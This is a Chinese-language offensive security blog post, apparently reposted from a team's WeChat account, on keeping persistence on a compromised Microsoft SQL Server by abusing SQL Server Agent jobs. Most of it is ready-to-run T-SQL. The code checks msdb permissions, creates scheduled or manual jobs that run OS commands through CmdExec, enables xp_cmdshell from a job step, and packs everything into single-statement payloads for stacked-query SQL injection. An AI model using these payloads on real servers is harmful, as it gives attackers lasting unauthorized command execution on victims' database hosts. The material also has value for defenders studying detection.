利用sqlserver agent job实现权限维持
The following article is from Evilc0de 安全团队 Author Evilc0de
公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把听风安全设为星标,否则可能就看不到啦!
----------------------------------------------------------------------
使用场景:当我们在测试中拿到目标数据库sa权限的或者dba权限的时候需要进行权限维持;SQL注入点存在堆叠查询
也可同样进行。
必要条件:数据库msdb
,架构dbo
的EXECUTE
权限。
一、检查是否有权限
SELECT HAS_PERMS_BY_NAME('msdb.dbo.sp_add_job', 'OBJECT', 'EXECUTE') as TRUE;
如果TRUE返回为1则代表有权限可以进行下一步操作,如果为0则代表无权限无法进行后续的权限维持操作。
二、创建JOB任务
分为两种,一种是周期性自动运行,另一种是手动运行。先讲第一种
计划任务自动运行
1、创建JOB名称
EXEC msdb.dbo.sp_add_job @job_name=N'MyJob';
2、创建计划任务(每一分钟执行一次)
EXEC msdb.dbo.sp_add_schedule @schedule_name=N'MySchedule',@freq_type=4,@freq_interval=1,@active_start_time=0,@active_end_time=235959,@freq_subday_type=4,@freq_subday_interval=1;
3、创建JOB执行内容
EXEC msdb.dbo.sp_add_jobstep @step_id=1,@job_name=N'MyJob',@step_name=N'MyStep',@subsystem=N'CmdExec',@command=N'cmd.exe /c whoami>C:\\programdata\\1.txt',@on_success_action=3,@retry_attempts=1,@retry_interval=5;
4、将JOB和计划任务绑定
EXEC msdb.dbo.sp_attach_schedule @job_name=N'MyJob',@schedule_name=N'MySchedule';
4、新增JOB到jobserver
EXEC msdb.dbo.sp_add_jobserver @job_name=N'MyJob';
执行完上述命令后,就可以在sqlserver management里看到我们创建的计划任务。
等过一分钟之后,就可以看到我们执行的命令成功运行。
手动运行
手动运行很简单,只需要将计划任务步骤的1、3、4拷贝过来最后再加上手动启动的命令即可:
EXEC msdb.dbo.sp_start_job @job_name=N'MyJob';
Tip: 若要一个JOB执行多条命令
可以可以多创建几条JOB执行内容,需要注意的是@step_id和@step_name不可以重复,例如:
EXEC msdb.dbo.sp_add_jobstep @step_id=2,@job_name=N'MyJob',@step_name=N'MyStep1',@subsystem=N'CmdExec',@command=N'cmd.exe /c whoami>C:\\programdata\\2.txt',@on_success_action=3,@retry_attempts=1,@retry_interval=5;
探讨
其中重点讲一下@subsystem:
:
@subsystem:指定作业步骤的子系统类型(Subsystem Type)子系统定义了作业步骤的类型,例如 T-SQL 脚本、操作系统命令、PowerShell 脚本等。
可用的子系统类型主要包括以下三种:
'TSQL':T-SQL脚本
'CmdExec':操作系统命令
'PowerShell':PowerShell脚本
文章里我们用CmdExec操作系统命令做演示,如要用TSQL或者PowerShell也可以达到同等效果,
例如:TSQL开启xp_cmdshell并执行命令
EXEC msdb.dbo.sp_add_jobstep @step_id=4,@job_name=N'MyJob', @step_name=N'MyStep4',@subsystem =N'TSQL',@command=N'exec sp_configure ''show advanced options'', 1; reconfigure; exec sp_configure ''xp_cmdshell'', 1; reconfigure; exec master.dbo.xp_cmdshell ''whoami > C:\\programdata\\1.txt''',@on_success_action=3,@retry_attempts=1,@retry_interval=5;
PowerShell同理
进程调用链:
sqlagent.exe -i mssqlserver
-> cmd.exe
-> whoami.exe
一条sql语句实现
单次运行
EXEC msdb.dbo.sp_add_job @job_name=N'MyJob';EXEC msdb.dbo.sp_add_jobstep @step_id=1,@job_name=N'MyJob',@step_name=N'MyStep',@subsystem=N'CmdExec',@command=N'cmd.exe /c whoami>C:\\programdata\\1.txt',@on_success_action=3,@retry_attempts=1,@retry_interval=5;EXEC msdb.dbo.sp_add_jobserver @job_name=N'MyJob';EXEC msdb.dbo.sp_start_job @job_name=N'MyJob';
定时任务运行
EXEC msdb.dbo.sp_add_job @job_name=N'MyJob';EXEC msdb.dbo.sp_add_schedule @schedule_name=N'MySchedule',@freq_type=4,@freq_interval=1,@active_start_time=0,@active_end_time=235959,@freq_subday_type=4,@freq_subday_interval=1;EXEC msdb.dbo.sp_add_jobstep @step_id=1,@job_name=N'MyJob',@step_name=N'MyStep',@subsystem=N'CmdExec',@command=N'cmd.exe /c whoami>C:\\programdata\\1.txt',@on_success_action=3,@retry_attempts=1,@retry_interval=5;EXEC msdb.dbo.sp_attach_schedule @job_name=N'MyJob',@schedule_name=N'MySchedule';EXEC msdb.dbo.sp_add_jobserver @job_name=N'MyJob'
Reference:
1、https://blog.51cto.com/u_15338523/3592578
2、https://blog.csdn.net/sinat_16998945/article/details/52586687